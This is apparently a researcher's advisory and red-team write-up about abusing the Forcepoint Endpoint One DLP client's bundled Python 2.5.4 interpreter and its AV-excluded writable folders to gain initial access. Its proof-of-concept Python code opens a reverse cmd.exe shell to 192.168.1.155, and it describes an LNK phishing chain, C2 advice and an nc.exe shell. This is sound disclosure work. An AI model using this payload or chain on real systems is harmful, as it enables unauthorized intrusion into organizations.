Back to the advisories

Tale about a Red Team Exercise and the Forcepoint Endpoint One client

#ForcepointEndpointProtection #vulnerability #redteam #hacking #CyberSecurity #phishing #dlp #NoCVE
Last Modified: 2024.10.25.

If you find it valuable, you can support me by making a donation. Donate now.

Update: I became the 4th best speaker at the ITBN 2023 conference with this topic.

Summary

Long story short

While preparing for a Red Team Engagement, I learned about the Forcepoint Endpoint One DLP client (version: 22.03 build 5558). The product contains a limited Python interpreter that can be run by non-administrator users. I managed to remove the restrictions and now I have a functionally perfectly working Python interpreter.

The Python interpreter used is very old (Python 2.5.4) and this version has several vulnerabilities. It is essential that according to the Forcepoint recommendation, the entire installation folder should be added to the exclusion list of AV and monitoring systems. This gave me the idea to use the "secret" interpreter to gain "initial access" to the client with a phishing attack. I successfully implemented this in practice.

I have notified the Forcepoint Security team of the situation in the appropriate manner, as other customers can be exposed as well. I proposed several solutions. Finally, we went through my report in a professional meeting with a good atmosphere.

In my opinion, the restoreability of the interpreter is a problem in itself. If accessing the interpreter is not considered to be a problem, than why restrict the interpreter at all? Interestingly, the "hidden" interpreter of Forcepoint can remain under the radar this way. In the end, Forcepoint decided that the recoverability of the interpreter is not a vulnerability.

Update 2023.06.22: Forcepoint is working on the update of the interpreter. Please check the Forcepoint website for further information.

Recommendation

I believe that with this information, everyone can assess the real risks and, if necessary, take appropriate protection and monitoring steps to ensure that their monitored systems are safe.

For those who want to reduce security risks, I recommend changing the Forcepoint DLP client configuration:

  1. Don't use the default installation path (so a third party doesn't know where the client is installed).
  2. Use a random installation folder.
  3. Use a longer installation path.

These solutions are obviously only effective against external attackers, none of them offer protection in case of local access.

Since I don't have an installer or a suitable environment for testing, I don't have the opportunity to test the individual configurations. I recommend that customers contact the Forcepoint Security team with any such questions, I'm sure they'll be happy to help.

Accepted vulnerability, but no CVE

Later, I found an accepted and high-class vulnerability.

Certain folders in the websense directory can be written by a non-administrator user, folders that are also added to the exception of AV and monitoring systems. Thus, having access (e.g. phishing), it is possible to upload and run any malware.

It is important that Forcepoint's internal testing team also discovered this vulnerability, according to their own analysis, the vulnerability has a high risk rating. Since the internal team found the vulnerability first, it will not become a CVE. The vulnerability is fixed in version 23.04.

Technical Details

I published the technical deatils on vsociety: https://www.vicarius.io/vsociety/posts/3372 as well.

I was preparing for a Red Team exercise. I cannot share the client or certain details of the exercise. Getting Initial Access was part of the task this time. It is always funny.

As always, I used Lockheed Martin's Cyber Kill chain methodology. Using OSINT, I tried to find out as much information as possible about the target. The target organization was a giant company that was present in several countries. In my case, one of the specified countries was the target. After consultation with the client, the following picture emerged of the workstations:

Forcepoint Endpoint One client

Notes about Data Loss Prevention

Data Loss Prevention (DLP) prevents sensitive information from being leaked, lost, misused, or accessed by unauthorized individuals. DLP solutions prevent loss and leaks through various means, including data inspection, data encryption, threat detection, preventative measures, user education, and security policies blocking sensitive information from exfiltration.

Data Loss Prevention software has become a critical part of the technology stack as cloud computing, hybrid workforces, and BYOD trends have fundamentally changed IT environments and increased the size of the attack surface. Organizations also require DLP solutions to manage compliance with many data privacy regulations, including HIPAA, PCI DSS, GDPR, and SOX.

I didn't know much about DLP systems, but I see such a solution in many companies. Forcepoint's system is one of the most popular DLP solutions. Browsing YouTube, I found a lot of videos and after 1-2 hours, I found the software even more interesting. I found something in the documentation that caught my attention:

1000

I managed to get a Forcepoint endpoint environment (same as the Target), where I had the opportunity to poke around the product a bit with a non-administrative user.

00

I looked at the file system and noticed that the Python interpreter is available for a non-administrator user. At least for me, it is strange. A Python interpreter always comes in handy, I thought it was worth looking into it a little more.

01

It is possible to execute the Python interpreter:

02

Notes

https://www.cvedetails.com/vulnerability-list/vendor_id-10210/product_id-18230/version_id-470473/Python-Python-2.5.4.html

The "restricted" Python interpreter

I tried to figure out what to do with the interpreter. It seemed to be limited in functionality. Example:

05

I checked the filesystem. It was not working, because the "PY" files were removed everywhere. Interestingly, the "PYC" files were there.

06

I had the "wrong" idea that they were touching the Python files and messing with the implementation. So I downloaded the same version and saw exactly what I could or couldn't do.

I was curious what exactly they were doing and started playing with the interpreter a bit.

The "PYC" file-loading trick

What is a "PYC" file?

"pyc" files are compiled bytecode files that are generated by the Python interpreter when a Python script is imported or executed. The "pyc" files contain compiled bytecode that can be executed directly by the interpreter, without the need to recompile the source code every time the script is run.

To better understand the operation, it is worth trying in a test environment first.

101

The "k44.py" file content is simple, it contains two simple print calls.

103

I used the "marshal" module to restore the functionality. The first 8 bytes are not relevant, so I skipped it. As it is visible on the screenshot, it is possible to load the module and it is possible to call the functions from the module.

102

With this trick, I was able to check the implementation.

The result of my investigations was that the implementation was not manipulated, but the environment settings were changed.

The "unrestricted" Python interpreter

I checked the "sys.path" variable.

7

Since I knew what was on the file system, I knew what to do next. I inserted the full path of the missing libraries. Finally, I was able to import the "os" module:

8

I made a simple test file that contains: "k4m1ll0" and I tested the remote download with the following code:

9

I changed the "test.txt" file and I tested the execution:


print "k4m1ll0: " + str(2+2)'
10

So I already have an old but working Python Interpreter.

Phishing

This Python interpreter was a good catch, so I went forward.

I came up with the following idea:

High-level overview of the Phishing plan

19

This process diagram clearly illustrates the attack, it's worth taking a close look at it. The process is divided into two important parts, manual and automatic.

The individual protection layers are shown in the manual section:

The automatic part can be implemented with simple Python scripts.

The Phishing mail, and the Phishing site

Here is a simple example:

1001

I made a simple test site for demonstration only. The "download site" is not a real-life example, you should prepare a better one.

About the LNK file

The "LNK" file is similar to a link, but there are restrictions.

The "LNK" file creation with "create shortcut":

12

Notes:

The LNK file should do the following:

Restrictions

My final payload reused the "sys.path" content and reduced the size:

1003

Note: It works with external IP as well, it is just an example."

Windows Defender

As you can see, according to the "Microsoft Defender" my "LNK" file is not malware.

1004

Is Password-Protection necessary?

It is not so easy to decide. The browser can detect the downloaded files as malware easily, so testing is necessary. Windows uses the Mark-of-the-Web (MotW) to indicate that a file originated from the Internet, which gives Microsoft Defender SmartScreen an opportunity to perform additional inspection of the content. MOTW also supplies the basis for prompting a user with an additional prompt when high-risk extensions are opened.

I think it is worth using password protection because the exact environment is not known. In my opinion, the chances of a successful attack are better this way.

POC Python Code

This is just a simple Python (2.5.4) code for demonstration:


import os,socket,subprocess,threading;
import urllib

_path = os.popen("cd").read()
_path = _path.replace('\n','')
_path += '\\globaltransformation.docx'

try:
    _data = urllib.urlopen('http://192.168.1.155/globaltransformation.docx').read();
    _f = open(_path, 'wb')
    _f.write(_data)
    _f.close()
    os.system("start " + _path)
except:
   pass


def s2p(s, p):
    while True:
        data = s.recv(4096)
        if len(data) > 0:
            p.stdin.write(data)
            p.stdin.flush()

def p2s(s, p):
    while True:
        s.send(p.stdout.read(1))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.155",443))

p=subprocess.Popen(["\\windows\\system32\\cmd.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()

p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()

try:
    p.wait()
except KeyboardInterrupt:
    s.close()

In a real-life scenario, you should connect the target to a Command and Control server and do not forget to delete the "lnk" file.

Phishing demo

Example email and a simple download site:

1001

Extracting the file, open dialog, reverse shell:

1002

Note: The more information available about the environment, the greater the chance of success. (OSINT, Testing)

The second vulnerability

Let's focus on, what I have figured out so far:

What can go wrong? For example, the permissions.

The sad fact is the following: There are writeable folders via the non-admin users inside the Websense directory. They can be in the exclusions list of the AV because it is suggested in the documentation. 


"C:\Program Files\Websense\Websense Endpoint\DropFolder"
"C:\Program Files\Websense\Websense Endpoint\Diag"

I can even upload malware with Python to the directory without Antivirus bothering me because the folder is on the exclusion list.

1005

Let's say I would like to use "nc.exe". It is a well-known attacking tool. If I download it via a browser, even the browser detects it. If I download it somehow to the filesystem, Defender will catch it.

Here is what an attacker can do:

Note: There will be no alert. The reverse shell is working with "nc.exe".

1006-1 1006-2

The unrestricted write access within directories "C:\\Program Files\\Websense\\Websense Endpoint\\DropFolder" and "C:\\Program Files\\Websense\\Websense Endpoint\\Diag" is resolved in Forcepoint One Endpoint 23.04. The Customer will need to update to that version.

What have I done?

It is a good start against a "Target" Company.

This attack also works against other companies with reasonable modifications. I hope the defenders will protect their systems against malicious actors.

Video

Disclosure Timeline

© 2019-2026 Kamilló Matek (k4m1ll0) All Rights Reserved